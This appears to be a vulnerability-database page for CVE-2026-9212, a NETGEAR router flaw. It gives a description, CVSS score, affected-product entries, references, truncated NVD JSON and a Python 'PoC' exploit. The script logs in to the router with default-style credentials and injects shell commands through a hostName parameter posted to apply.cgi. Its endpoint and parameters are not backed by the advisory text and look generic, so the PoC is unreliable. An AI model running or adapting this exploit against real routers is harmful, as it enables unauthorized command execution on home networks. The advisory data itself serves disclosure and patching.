CVE-2026-9212

Description

Insufficient authentication and input validation in the listed NETGEAR models allow users connected to the local network to execute commands impacting the product's confidentiality or change certain configurations.

CVSS Details

CVSS Score

8.0

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:netgear:lbr1020_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:lbr1020:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:lbr20_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:lbr20:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:r6700ax_firmware:-:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:r6700ax:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:r7800_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:r7800:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:r9000_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:r9000:-:*:*:*:*:*:*:* - NOT VULNERABLE

NETGEAR LBR1020 < 最新固件版本

NETGEAR LBR20 < 最新固件版本

NETGEAR R6700AX < 最新固件版本

NETGEAR R7800 < 最新固件版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-9212 - NETGEAR Router Authentication Bypass & Command Execution PoC
# Affected: NETGEAR LBR1020, LBR20, R6700AX, R7800
# Note: Attacker must be on the same local network as the target device

import requests
import sys

TARGET_IP = "192.168.1.1"  # Default NETGEAR router IP
TARGET_PORT = 80

def exploit_command_injection(target_url, cmd):
    """
    Exploit insufficient authentication and input validation
    to execute commands on vulnerable NETGEAR routers.
    """
    # Step 1: Attempt to access management interface with low-privilege session
    session = requests.Session()
    
    # Login with basic credentials (low privilege)
    login_data = {
        "loginName": "user",
        "loginPassword": "password"
    }
    session.post(f"{target_url}/login.cgi", data=login_data)
    
    # Step 2: Exploit command injection via vulnerable parameter
    # The vulnerable endpoint fails to sanitize user input
    inject_payload = f"; {cmd} ;"
    
    exploit_params = {
        "apply": "Apply",
        "hostName": inject_payload,  # Vulnerable parameter
        "domainName": "localdomain"
    }
    
    response = session.post(
        f"{target_url}/apply.cgi",
        data=exploit_params
    )
    
    return response

def main():
    target = f"http://{TARGET_IP}:{TARGET_PORT}"
    
    # Example: Execute 'id' command to verify exploitation
    print("[*] Targeting NETGEAR router at", target)
    print("[*] Attempting command injection...")
    
    result = exploit_command_injection(target, "id")
    
    if result.status_code == 200:
        print("[+] Exploit sent successfully")
        print("[+] Check device response for command output")
    else:
        print(f"[-] Request failed with status: {result.status_code}")

if __name__ == "__main__":
    main()

# Disclaimer: This PoC is for educational and authorized testing purposes only.
# Unauthorized access to computer systems is illegal.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9212
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9212
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9212/
[4] VulDB https://vuldb.com/cve/CVE-2026-9212
[5] https://kb.netgear.com/000070811/June-2026-NETGEAR-Security-Advisory
[6] https://www.netgear.com/support/product/lbr1020/
[7] https://www.netgear.com/support/product/lbr20/
[8] https://www.netgear.com/support/product/r6700ax/
[9] https://www.netgear.com/support/product/r7800/
[10] https://www.netgear.com/support/product/r9000/
[11] https://www.netgear.com/support/product/rax10/
[12] https://www.netgear.com/support/product/rax120/
[13] https://www.netgear.com/support/product/rax120v2/
[14] https://www.netgear.com/support/product/rax36s/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9212", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2026-06-09T17:17:51.517", "lastModified": "2026-06-18T15:25:07.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient authentication and input validation in the listed NETGEAR models allow users connected to the local network to execute commands impacting the product's confidentiality or change certain configurations."}], "affected": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "affectedData": [{"vendor": "NETGEAR", "product": "LBR1020", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V2.6.4.60", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "LBR20", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V2.7.6.8", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R6700AX", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "*", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R7800", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.4.96", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R9000", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.6.46", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX10", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.5.50", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX10v2", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.5.50", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX120", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.2.10.56", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX120v1", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.2.10.56", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX120v2", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.2.10.56", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX36S", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.5.50", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX70", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.19.172", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX78", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.19.172", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBR10", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBR20", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBR350", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V4.4.2.1", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBR40", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBR50", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBS10", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBS20", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBS350", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V4.4.2.1", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBS40", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RBS50", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.7.6.6", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "XR450", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V2.3.3.136", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "XR500", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessTh

... (truncated)